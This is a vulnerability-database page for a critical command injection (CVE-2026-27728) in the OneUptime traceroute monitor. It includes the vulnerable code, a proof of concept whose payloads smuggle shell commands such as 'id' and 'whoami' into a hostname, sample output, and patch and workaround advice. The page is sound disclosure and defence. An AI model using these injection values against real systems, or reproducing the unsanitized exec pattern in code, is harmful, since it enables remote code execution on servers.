# CVE-2026-27728: @oneuptime/common — Fixed in 10.0.7

📦

📦 npm

Not in CISA KEV

CRITICAL severity

# CVE-2026-27728 — @oneuptime/common

CRITICAL [Fix: OneUptime/oneuptime@f2cce35](https://github.com/OneUptime/oneuptime/commit/f2cce35a04fac756cecc7a4c55e23758b99288c1)

CVE-2026-27728 is a critical-severity (CVSS 9.9) OS Command Injection vulnerability in @oneuptime/common. A fix is available for @oneuptime/common — see the affected versions and patch details below.

OneUptime: OS Command Injection in Probe NetworkPathMonitor via unsanitized destination in traceroute exec()

Also known as[GHSA-jmhp-5558-qxh5](/vulnerability/GHSA-jmhp-5558-qxh5)

Published

Feb 25, 2026

Updated

Oct 28, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

## Exploitation Status

### Proof-of-concept exploit code exists

-   CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
-   CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
-   A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-27728.

## EPSS Exploitation Probability

[via FIRST.org ↗](https://www.first.org/epss/)

2.0%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs81th percentile — riskier than 81% of all scored CVEsHighest risk

0.00%1.07%2.14%3.21%0.3%2.0%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from [FIRST.org EPSS](https://www.first.org/epss/).

## How urgent is this, really

## Where this sits among everything scored

## Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

0other npm packages depend on this — each one inherits the vulnerability until it's patched upstream

`@oneuptime/common`npm

11Kdownloads / week

## Description

### Summary

An OS command injection vulnerability in `NetworkPathMonitor.performTraceroute()` allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field.

### Details

The vulnerability exists in [`Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts`](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191.

The `performTraceroute()` method constructs a shell command by directly interpolating the user-controlled `destination` parameter into a string template, then executes it via `child_process.exec()` (wrapped through `promisify`):

```
// Line 13 — exec imported from child_process
import { exec } from "child_process";

// Line 15-17 — promisified into execAsync
const execAsync = promisify(exec);

// Lines 149-191 — destination is never sanitized
private static async performTraceroute(
    destination: string,  // ← attacker-controlled
    maxHops: number,
    timeout: number,
): Promise<TraceRoute> {
    // ...
    let command: string;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${...} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    const tracePromise = execAsync(command);  // ← shell execution
```

The `destination` value originates from the public `trace()` method (line 31), which accepts `URL | Hostname | IPv4 | IPv6 | string` types. When a raw `string` is passed (line 47: `hostAddress = destination`), no validation or sanitization is performed before it reaches `performTraceroute()`.

`child_process.exec()` spawns a shell (`/bin/sh`), so any shell metacharacters (`;`, `|`, `$()`, `` ` ` ``, `&&`, `||`, `\n`) in `destination` will be interpreted, allowing full command injection.

### PoC

1.  poc.cjs

```
/**
 * PoC: OS Command Injection in OneUptime NetworkPathMonitor
 *
 * Replicates the exact vulnerable code path from
 * Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts:149-191
 */

const { exec } = require("child_process");
const { promisify } = require("util");
const execAsync = promisify(exec);

async function performTraceroute_VULNERABLE(destination, maxHops, timeout) {
    const isMac = process.platform === "darwin";
    const isWindows = process.platform === "win32";

    let command;
    if (isWindows) {
        command = `tracert -h ${maxHops} -w ${Math.ceil(timeout / 1000) * 1000} ${destination}`;
    } else if (isMac) {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    } else {
        command = `traceroute -m ${maxHops} -w 3 ${destination}`;
    }

    console.log(`[VULN] Constructed command: ${command}`);

    try {
        const { stdout, stderr } = await execAsync(command);
        return { stdout, stderr };
    } catch (err) {
        return { stdout: err.stdout || "", stderr: err.stderr || err.message };
    }
}

async function runPoC() {
    console.log("=== Payload 1: Semicolon chaining (;) ===");
    console.log("  destination = '127.0.0.1; id'\n");
    const r1 = await performTraceroute_VULNERABLE("127.0.0.1; id", 1, 5000);
    console.log("[stdout]:", r1.stdout);

    console.log("\n=== Payload 2: Pipe injection (|) ===");
    console.log("  destination = '127.0.0.1 | whoami'\n");
    const r2 = await performTraceroute_VULNERABLE("127.0.0.1 | whoami", 1, 5000);
    console.log("[stdout]:", r2.stdout);

    console.log("\n=== Payload 3: Subshell execution $() ===");
    console.log("  destination = '127.0.0.1$(echo INJECTED)'\n");
    const r3 = await performTraceroute_VULNERABLE("127.0.0.1$(echo INJECTED)", 1, 5000);
    console.log("[stderr]:", r3.stderr);
}

runPoC().catch(console.error);
```

1.  Run the PoC:

```
node poc.cjs
```

1.  **Expected output** (confirmed on macOS with Node.js v25.2.1):

```
=== Payload 1: Semicolon chaining (;) ===
  destination = '127.0.0.1; id'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1; id
[stdout]:  1  localhost (127.0.0.1)  0.215 ms  0.076 ms  0.055 ms
uid=501(dxleryt) gid=20(staff) groups=20(staff),12(everyone)...

=== Payload 2: Pipe injection (|) ===
  destination = '127.0.0.1 | whoami'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1 | whoami
[stdout]: dxleryt

=== Payload 3: Subshell execution $() ===
  destination = '127.0.0.1$(echo INJECTED)'

[VULN] Constructed command: traceroute -m 1 -w 3 127.0.0.1$(echo INJECTED)
[stderr]: traceroute: unknown host 127.0.0.1INJECTED
```

The `id` and `whoami` commands execute successfully, proving arbitrary command execution. The subshell payload proves inline shell evaluation — `$(echo INJECTED)` is evaluated and appended to the hostname.

### Impact

**Vulnerability type:** OS Command Injection (CWE-78)

**Who is impacted:** Any authenticated user with the ability to create or edit a network path monitor in a OneUptime project can execute arbitrary operating system commands on the Probe server(s). In a multi-tenant SaaS deployment, this allows a malicious tenant to:

-   **Execute arbitrary commands** as the Probe service user (Remote Code Execution)
-   **Read sensitive files** from the Probe server (e.g., environment variables, credentials, service account tokens)
-   **Pivot to internal services** accessible from the Probe's network position
-   **Compromise other tenants' monitoring data** if Probes are shared across tenants
-   **Establish persistent backdoors** (reverse shells, cron jobs, SSH keys)

> **Note:** The `NetworkPathMonitor` class is fully implemented and exported but not yet wired into the monitor execution pipeline (no callers import it). The vulnerability will become exploitable once this monitor type is integrated. The code is present in the current codebase and ready to be activated.

## Affected Packages

1 total 1 fixed

Ecosystem

Package

Vulnerable range

Fix

📦npm

`@oneuptime/common` 

all versions

10.0.7`npm install @oneuptime/common@10.0.7`

## Affected Products

1 product · 1 configurations

Application

`oneuptime`hackerbay

< 10.0.7

range

## Detection & mitigation playbook

Open-source dependency

1.  ### Detect
    
    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @oneuptime/common, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
    
2.  ### Fix
    
    Update @oneuptime/common to 10.0.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-27728 is resolved across your whole dependency graph.
    
3.  ### Workarounds
    
    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
    

## Frequently Asked Questions

\## Summary An OS command injection vulnerability in \`NetworkPathMonitor.performTraceroute()\` allows any authenticated project user to execute arbitrary operating system commands on the Probe server by injecting shell metacharacters into a monitor's destination field. ## Details The vulnerability exists in \[\`Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts\`\](Probe/Utils/Monitors/MonitorTypes/NetworkPathMonitor.ts), lines 149–191. The \`performTraceroute()\` method constructs a shell command by directly interpolating the user-controlled \`destination\` parameter into a string template, th

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